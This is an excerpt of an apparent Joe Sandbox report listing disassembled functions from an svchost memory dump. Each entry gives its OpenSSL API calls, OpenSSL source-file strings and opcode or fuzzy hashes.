Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: memcpy$O_mallocmemcmp
String ID: ssl\quic\quic_record_rx.c
API String ID: 2178029887-3047069087
Opcode ID: 4c1496c444f16a2a0f5bc286ecd1d9fdfb9f04a9237b887a38a36bddd5ff88de
Instruction ID: 1a2f70d9c0f24edcded2e1da0b6ac740513a41afbce52319d614726322a39cb7
Opcode Fuzzy Hash: 4c1496c444f16a2a0f5bc286ecd1d9fdfb9f04a9237b887a38a36bddd5ff88de
Instruction Fuzzy Hash: 12223C72A0AF8586DA65CB35E440BE973A4FB48794F048235DFAD877A5DF38E4A4C700

Function 00007FFBAB491090 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 229COMMON

Download Yara Rule

APIs

CRYPTO_free.LIBCRYPTO-3-X64(?,?,?,?,00000000,00007FFBAB491AED,?,00007FFBAB487FED,00000000,?,?,?,00000000,-00000031,?,00007FFBAB488676), ref: 00007FFBAB491211
CRYPTO_free.LIBCRYPTO-3-X64(?,?,?,?,00000000,00007FFBAB491AED,?,00007FFBAB487FED,00000000,?,?,?,00000000,-00000031,?,00007FFBAB488676), ref: 00007FFBAB491227
CRYPTO_free.LIBCRYPTO-3-X64(?,?,?,?,00000000,00007FFBAB491AED,?,00007FFBAB487FED,00000000,?,?,?,00000000,-00000031,?,00007FFBAB488676), ref: 00007FFBAB49123C

Part of subcall function 00007FFBAB490B30: CRYPTO_zalloc.LIBCRYPTO-3-X64(?,00007FFBAB49114B,00000000,?,?,?,?,00007FFBAB491FB3,?,?,?,?,00000000,00007FFBAB491AED,?,00007FFBAB487FED), ref: 00007FFBAB490B6B
Part of subcall function 00007FFBAB490B30: CRYPTO_malloc.LIBCRYPTO-3-X64(?,00007FFBAB49114B,00000000,?,?,?,?,00007FFBAB491FB3,?,?,?,?,00000000,00007FFBAB491AED,?,00007FFBAB487FED), ref: 00007FFBAB490B8B
Part of subcall function 00007FFBAB490B30: CRYPTO_free.LIBCRYPTO-3-X64(?,00007FFBAB49114B,00000000,?,?,?,?,00007FFBAB491FB3,?,?,?,?,00000000,00007FFBAB491AED,?,00007FFBAB487FED), ref: 00007FFBAB490BA6

CRYPTO_free.LIBCRYPTO-3-X64(?,?,?,?,00000000,00007FFBAB491AED,?,00007FFBAB487FED,00000000,?,?,?,00000000,-00000031,?,00007FFBAB488676), ref: 00007FFBAB4913CE

Strings

ssl\statem\statem_dtls.c, xrefs: 00007FFBAB491204, 00007FFBAB49121A, 00007FFBAB491232, 00007FFBAB4913C4

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_free$O_mallocO_zalloc
String ID: ssl\statem\statem_dtls.c
API String ID: 2830562681-3166991913
Opcode ID: d83a66066ae5636d6b4d97176491b3414c7492b4bd5f11882a96509cbec7bff4
Instruction ID: 83a7bcc9ac9ca66f5aa82856338f232875f253ec46091212313214e773d4838d
Opcode Fuzzy Hash: d83a66066ae5636d6b4d97176491b3414c7492b4bd5f11882a96509cbec7bff4
Instruction Fuzzy Hash: C9A1F4B2A0AA8196EB22CB39D8812BC7760FB45784F448132DF9D47BA6DF3DE154C700

Function 00007FFBAB41CAB0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

X509_free.LIBCRYPTO-3-X64 ref: 00007FFBAB41CAFA
EVP_PKEY_free.LIBCRYPTO-3-X64 ref: 00007FFBAB41CB06
OSSL_STACK_OF_X509_free.LIBCRYPTO-3-X64 ref: 00007FFBAB41CB13
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB41CB2D

Strings

ssl\ssl_cert.c, xrefs: 00007FFBAB41CB1C

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: X509_free$O_freeY_free
String ID: ssl\ssl_cert.c
API String ID: 3239439570-188639428
Opcode ID: 6bb095c8f9aef18bce750bdd1279004616ea97981b92b7422bcf0133477a0dfa
Instruction ID: 3c6904069efda53207bf60c1a17d6a556afb91f0568757891c4f4e602a8bcfd6
Opcode Fuzzy Hash: 6bb095c8f9aef18bce750bdd1279004616ea97981b92b7422bcf0133477a0dfa
Instruction Fuzzy Hash: 6911BC72A0AB41C6D7209F22F48112C7774FB48F84F188025EF9E07B6ACF38E4A18344

Function 00007FFBAB462F00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

OPENSSL_LH_free.LIBCRYPTO-3-X64(?,00007FFBAB45B30E,?,00007FFBAB45AD87,?,00007FFBAB4523E0), ref: 00007FFBAB462F1A
OPENSSL_LH_free.LIBCRYPTO-3-X64(?,00007FFBAB45B30E,?,00007FFBAB45AD87,?,00007FFBAB4523E0), ref: 00007FFBAB462F38
EVP_CIPHER_CTX_free.LIBCRYPTO-3-X64(?,00007FFBAB45B30E,?,00007FFBAB45AD87,?,00007FFBAB4523E0), ref: 00007FFBAB462F40
CRYPTO_free.LIBCRYPTO-3-X64(?,00007FFBAB45B30E,?,00007FFBAB45AD87,?,00007FFBAB4523E0), ref: 00007FFBAB462F55

Strings

ssl\quic\quic_srtm.c, xrefs: 00007FFBAB462F4B

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: H_free$O_freeX_free
String ID: ssl\quic\quic_srtm.c
API String ID: 2794152495-1571964953
Opcode ID: e2870735cec845b42c3d1ca28eb847575685145cba8967dd3db79348a2e61ecb
Instruction ID: d5b2f6bac7e82f999526c050394d72910ced7f396b938e7a1d6cc665d9394a32
Opcode Fuzzy Hash: e2870735cec845b42c3d1ca28eb847575685145cba8967dd3db79348a2e61ecb
Instruction Fuzzy Hash: 30F012D1B5B54255EE66E775C8A127C6310AF44B40F48C035ED2E4B3F7DE2CD9458345

Function 00007FFBAB434840 Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FFBAB43489E
CRYPTO_THREAD_read_lock.LIBCRYPTO-3-X64 ref: 00007FFBAB4348B2
OPENSSL_LH_retrieve.LIBCRYPTO-3-X64 ref: 00007FFBAB4348CF
CRYPTO_THREAD_unlock.LIBCRYPTO-3-X64 ref: 00007FFBAB4348F1
CRYPTO_THREAD_unlock.LIBCRYPTO-3-X64 ref: 00007FFBAB434909

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: D_unlock$D_read_lockH_retrievememcpy
String ID:
API String ID: 3379989983-0
Opcode ID: be1e338d4e7217e3048429955079fd35ba8689d6c80043d53dff205ba1ff51c0
Instruction ID: a3e81ce58440d1029a62cd138eb0c39e5d16cf9cb180977fedb74035ea05f9c5
Opcode Fuzzy Hash: be1e338d4e7217e3048429955079fd35ba8689d6c80043d53dff205ba1ff51c0
Instruction Fuzzy Hash: 1541B0A270668186FA669B76D4947FE63A0FF85B94F088032EE5D477A1DF3CE4418B00

Function 00007FFBAB47A2E0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 200COMMON

Download Yara Rule

APIs

RAND_bytes_ex.LIBCRYPTO-3-X64 ref: 00007FFBAB47A3C6
CRYPTO_malloc.LIBCRYPTO-3-X64 ref: 00007FFBAB47A3E9
memset.VCRUNTIME140 ref: 00007FFBAB47A445

Strings

ssl\record\methods\tls_pad.c, xrefs: 00007FFBAB47A3DF

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: D_bytes_exO_mallocmemset
String ID: ssl\record\methods\tls_pad.c
API String ID: 2022753641-3220453346
Opcode ID: ee83614cf363710f640853747b9789f90360a22163c5f64d57f8bf6ac759705d
Instruction ID: d7b70a12f4c0706b71e98c139e00d938f56b873bdf67c367ab3a8b8186bb26b5
Opcode Fuzzy Hash: ee83614cf363710f640853747b9789f90360a22163c5f64d57f8bf6ac759705d
Instruction Fuzzy Hash: A96121B371A7D586EE22CF35E4146AAA7A1F749B84F088231EE9D47B44EE3CD185C700

Function 00007FFBAB4607D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 143COMMON

Download Yara Rule

APIs

CRYPTO_malloc.LIBCRYPTO-3-X64(?,?,00000000,00007FFBAB460191,?,00007FFBAB44C984,00000000,?,?,00007FFBAB4501BA,00000000,00007FFBAB458275,?,00000000), ref: 00007FFBAB460843
memcpy.VCRUNTIME140(?,?,00000000,00007FFBAB460191,?,00007FFBAB44C984,00000000,?,?,00007FFBAB4501BA,00000000,00007FFBAB458275,?,00000000), ref: 00007FFBAB460951
CRYPTO_free.LIBCRYPTO-3-X64(?,?,00000000,00007FFBAB460191,?,00007FFBAB44C984,00000000,?,?,00007FFBAB4501BA,00000000,00007FFBAB458275,?,00000000), ref: 00007FFBAB460A08

Strings

C:\Program Files\vcpkg\buildtrees\openssl\x64-windows-rel\include\internal/ring_buf.h, xrefs: 00007FFBAB460839, 00007FFBAB460A01

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_freeO_mallocmemcpy
String ID: C:\Program Files\vcpkg\buildtrees\openssl\x64-windows-rel\include\internal/ring_buf.h
API String ID: 2350084802-3109175187
Opcode ID: a135ff95a1ce67f957dd76ecf33de04296c39306f548a94a0c1ed77871e96678
Instruction ID: d08c055e1c1d6cfb731af8762f08e5be7a280d333705d6609a033013ea73f561
Opcode Fuzzy Hash: a135ff95a1ce67f957dd76ecf33de04296c39306f548a94a0c1ed77871e96678
Instruction Fuzzy Hash: 41519F62B19B8182EA21CF25F54036ABBA5FB94BD4F188035EE9D07B64DF3CD099C700

Function 00007FFBAB45AC50 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 92COMMON

Download Yara Rule

APIs

CRYPTO_zalloc.LIBCRYPTO-3-X64(?,00007FFBAB4523E0), ref: 00007FFBAB45AC74
OSSL_ERR_STATE_new.LIBCRYPTO-3-X64(?,00007FFBAB4523E0), ref: 00007FFBAB45ACBC

Part of subcall function 00007FFBAB4521E0: CRYPTO_zalloc.LIBCRYPTO-3-X64 ref: 00007FFBAB45221D
Part of subcall function 00007FFBAB4521E0: BIO_ctrl.LIBCRYPTO-3-X64 ref: 00007FFBAB452253
Part of subcall function 00007FFBAB4521E0: BIO_ctrl.LIBCRYPTO-3-X64 ref: 00007FFBAB45226A

Part of subcall function 00007FFBAB463040: RAND_priv_bytes_ex.LIBCRYPTO-3-X64(?,?,?,00007FFBAB45AD0F,?,00007FFBAB4523E0), ref: 00007FFBAB46307B
Part of subcall function 00007FFBAB463040: CRYPTO_zalloc.LIBCRYPTO-3-X64(?,?,?,00007FFBAB45AD0F,?,00007FFBAB4523E0), ref: 00007FFBAB463097
Part of subcall function 00007FFBAB463040: EVP_CIPHER_fetch.LIBCRYPTO-3-X64(?,?,?,00007FFBAB45AD0F,?,00007FFBAB4523E0), ref: 00007FFBAB4630B5
Part of subcall function 00007FFBAB463040: EVP_CIPHER_CTX_new.LIBCRYPTO-3-X64(?,?,?,00007FFBAB45AD0F,?,00007FFBAB4523E0), ref: 00007FFBAB4630C6
Part of subcall function 00007FFBAB463040: EVP_CIPHER_free.LIBCRYPTO-3-X64(?,?,?,00007FFBAB45AD0F,?,00007FFBAB4523E0), ref: 00007FFBAB4630FE
Part of subcall function 00007FFBAB463040: OPENSSL_LH_new.LIBCRYPTO-3-X64(?,?,?,00007FFBAB45AD0F,?,00007FFBAB4523E0), ref: 00007FFBAB463113
Part of subcall function 00007FFBAB463040: OPENSSL_LH_set_thunks.LIBCRYPTO-3-X64(?,?,?,00007FFBAB45AD0F,?,00007FFBAB4523E0), ref: 00007FFBAB46313C
Part of subcall function 00007FFBAB463040: OPENSSL_LH_new.LIBCRYPTO-3-X64(?,?,?,00007FFBAB45AD0F,?,00007FFBAB4523E0), ref: 00007FFBAB463158
Part of subcall function 00007FFBAB463040: OPENSSL_LH_set_thunks.LIBCRYPTO-3-X64(?,?,?,00007FFBAB45AD0F,?,00007FFBAB4523E0), ref: 00007FFBAB46317A

Part of subcall function 00007FFBAB45A910: CRYPTO_zalloc.LIBCRYPTO-3-X64(?,00007FFBAB45AD25,?,00007FFBAB4523E0), ref: 00007FFBAB45A94B
Part of subcall function 00007FFBAB45A910: OPENSSL_LH_new.LIBCRYPTO-3-X64(?,00007FFBAB45AD25,?,00007FFBAB4523E0), ref: 00007FFBAB45A96A
Part of subcall function 00007FFBAB45A910: OPENSSL_LH_set_thunks.LIBCRYPTO-3-X64(?,00007FFBAB45AD25,?,00007FFBAB4523E0), ref: 00007FFBAB45A993
Part of subcall function 00007FFBAB45A910: OPENSSL_LH_new.LIBCRYPTO-3-X64(?,00007FFBAB45AD25,?,00007FFBAB4523E0), ref: 00007FFBAB45A9AF
Part of subcall function 00007FFBAB45A910: OPENSSL_LH_set_thunks.LIBCRYPTO-3-X64(?,00007FFBAB45AD25,?,00007FFBAB4523E0), ref: 00007FFBAB45A9D8

CRYPTO_free.LIBCRYPTO-3-X64(?,00007FFBAB4523E0), ref: 00007FFBAB45AD97

Strings

ssl\quic\quic_port.c, xrefs: 00007FFBAB45AC6D, 00007FFBAB45AD8D

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: H_newH_set_thunksO_zalloc$O_ctrl$D_priv_bytes_exE_newO_freeR_fetchR_freeX_new
String ID: ssl\quic\quic_port.c
API String ID: 3589639851-1976217255
Opcode ID: 928cec6c32ab5be4a987b75ebc2569a50e9d0d168862d4145900d74124cd2c77
Instruction ID: 60a8ad7ab0d5dd6896b70eab2ce25ef4de8f77214983d57d1b1bbcc9058ad6cd
Opcode Fuzzy Hash: 928cec6c32ab5be4a987b75ebc2569a50e9d0d168862d4145900d74124cd2c77
Instruction Fuzzy Hash: 88414AB2A06F8281EB56EF39D45076833A1EB48B84F188239DE5D073B5EF38D856C340

Function 00007FFBAB42A330 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 74COMMON

Download Yara Rule

APIs

CRYPTO_memdup.LIBCRYPTO-3-X64 ref: 00007FFBAB42A3C4
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB42A3E5
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB42A41E

Strings

ssl\ssl_lib.c, xrefs: 00007FFBAB42A3BA, 00007FFBAB42A3D8, 00007FFBAB42A411

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_free$O_memdup
String ID: ssl\ssl_lib.c
API String ID: 3545228654-1984206432
Opcode ID: e28ed7ef171393cabcf1bdfd1322e3f6585cd7ea4a742a719508bb1bad48ad07
Instruction ID: 2479fffc8fe701b228ace0b7648bc50e49493e02001eedbfa4365ebd9df3a0c5
Opcode Fuzzy Hash: e28ed7ef171393cabcf1bdfd1322e3f6585cd7ea4a742a719508bb1bad48ad07
Instruction Fuzzy Hash: 2721A861B1A7E241EFA5CF35E44467D3394EF45B84F089039EE5D47BA9CE2CD8518702

Function 00007FFBAB4641B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

OPENSSL_LH_retrieve.LIBCRYPTO-3-X64(?,00007FFBAB450198,00000000,00007FFBAB458275,?,00000000,?,?,?,00007FFBAB45358D), ref: 00007FFBAB4641E3
CRYPTO_zalloc.LIBCRYPTO-3-X64(?,00007FFBAB450198,00000000,00007FFBAB458275,?,00000000,?,?,?,00007FFBAB45358D), ref: 00007FFBAB464202
OPENSSL_LH_insert.LIBCRYPTO-3-X64(?,00007FFBAB450198,00000000,00007FFBAB458275,?,00000000,?,?,?,00007FFBAB45358D), ref: 00007FFBAB46428D

Strings

ssl\quic\quic_stream_map.c, xrefs: 00007FFBAB4641F7

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: H_insertH_retrieveO_zalloc
String ID: ssl\quic\quic_stream_map.c
API String ID: 2203104954-1155244460
Opcode ID: d080b82876c34c2d23674a372ebbb6f9a750eb8f6499852c943e0ccd3190e5cd
Instruction ID: 1004f94571e8a8ad95581585037129d6dfefc8eb670af9523b196b835b9f2214
Opcode Fuzzy Hash: d080b82876c34c2d23674a372ebbb6f9a750eb8f6499852c943e0ccd3190e5cd
Instruction Fuzzy Hash: 1121E472A09B4285EB56CB35D4513E92790EB587D4F14C238DEBC837E5DE38E451C340

Function 00007FFBAB424A72 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

CRYPTO_memdup.LIBCRYPTO-3-X64 ref: 00007FFBAB424AEB
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB424B0C
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB424B5A

Strings

ssl\ssl_lib.c, xrefs: 00007FFBAB424AE1, 00007FFBAB424AFF, 00007FFBAB424B4D

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_free$O_memdup
String ID: ssl\ssl_lib.c
API String ID: 3545228654-1984206432
Opcode ID: 8ae493308588188c1086bbee4f7fc03183cd3bcc5c0eb1f562b8535bad2dc9fd
Instruction ID: 8a23336690390fe20690e81ec46edbfe39484a68da36768e4fba82675af6d128
Opcode Fuzzy Hash: 8ae493308588188c1086bbee4f7fc03183cd3bcc5c0eb1f562b8535bad2dc9fd
Instruction Fuzzy Hash: A3212B65B1ABD181E752CB32D4813BC7B95EF84B84F489135DE5D87B69CF2CD4528700

Function 00007FFBAB43C9A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

CRYPTO_malloc.LIBCRYPTO-3-X64 ref: 00007FFBAB43C9EF
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB43CA4D
CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB43CA78

Strings

ssl\t1_lib.c, xrefs: 00007FFBAB43C9DE, 00007FFBAB43CA38

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_free$O_malloc
String ID: ssl\t1_lib.c
API String ID: 2767441526-1168734446
Opcode ID: d23f743535099a2c4ecc3846e82c0b1f0123525a9993317514069fe0cc3b4e20
Instruction ID: fba1c6c68bed9e824ab7d8023e3c5e467d86e6b323cb28bf2a5eb17c26991578
Opcode Fuzzy Hash: d23f743535099a2c4ecc3846e82c0b1f0123525a9993317514069fe0cc3b4e20
Instruction Fuzzy Hash: 0521CF7370ABA181E752DB26D54026DA7A0EB45BC0F48D131EEAC43BAAEF3DE551C740

Function 00007FFBAB4521E0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

CRYPTO_zalloc.LIBCRYPTO-3-X64 ref: 00007FFBAB45221D
BIO_ctrl.LIBCRYPTO-3-X64 ref: 00007FFBAB452253
BIO_ctrl.LIBCRYPTO-3-X64 ref: 00007FFBAB45226A

Strings

ssl\quic\quic_demux.c, xrefs: 00007FFBAB452210

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_ctrl$O_zalloc
String ID: ssl\quic\quic_demux.c
API String ID: 870977572-194952269
Opcode ID: 3d7659c4accdafd210d96943375ed6b1722b6f630bbf6f50d0c13c28fe6df9c0
Instruction ID: 9cd2cddc070da9bab412468a195dd1d70b043e36bb7cc2d508d08870b39852c4
Opcode Fuzzy Hash: 3d7659c4accdafd210d96943375ed6b1722b6f630bbf6f50d0c13c28fe6df9c0
Instruction Fuzzy Hash: 3A116072609B92C6E761DB21E941A697BA4FB84BC4F498235EE5C43F75CF38E815CB00

Function 00007FFBAB482880 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

CRYPTO_free.LIBCRYPTO-3-X64(?,00007FFBAB41D131,?,00007FFBAB423B73,?,00007FFBAB4273AB,?,00007FFBAB457F02,?,00007FFBAB453609), ref: 00007FFBAB4828CB
CRYPTO_free.LIBCRYPTO-3-X64(?,00007FFBAB41D131,?,00007FFBAB423B73,?,00007FFBAB4273AB,?,00007FFBAB457F02,?,00007FFBAB453609), ref: 00007FFBAB4828E1
CRYPTO_free.LIBCRYPTO-3-X64(?,00007FFBAB41D131,?,00007FFBAB423B73,?,00007FFBAB4273AB,?,00007FFBAB457F02,?,00007FFBAB453609), ref: 00007FFBAB482908

Strings

ssl\statem\extensions_cust.c, xrefs: 00007FFBAB4828BE, 00007FFBAB4828D4, 00007FFBAB4828FB

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_free
String ID: ssl\statem\extensions_cust.c
API String ID: 2581946324-1564674317
Opcode ID: 7b54ba3a8a63aac01c81fb89d9ba8360a4a97c98200f84916bd5334e8dfc14e2
Instruction ID: b27a816c079352dcee5a37ac60794c3a751046747ac848e8725167a5ca03f6fe
Opcode Fuzzy Hash: 7b54ba3a8a63aac01c81fb89d9ba8360a4a97c98200f84916bd5334e8dfc14e2
Instruction Fuzzy Hash: D51130B1A5AB9281EB519B65F88036D6360FB84B84F448136EFAD07B65DF7CD144C740

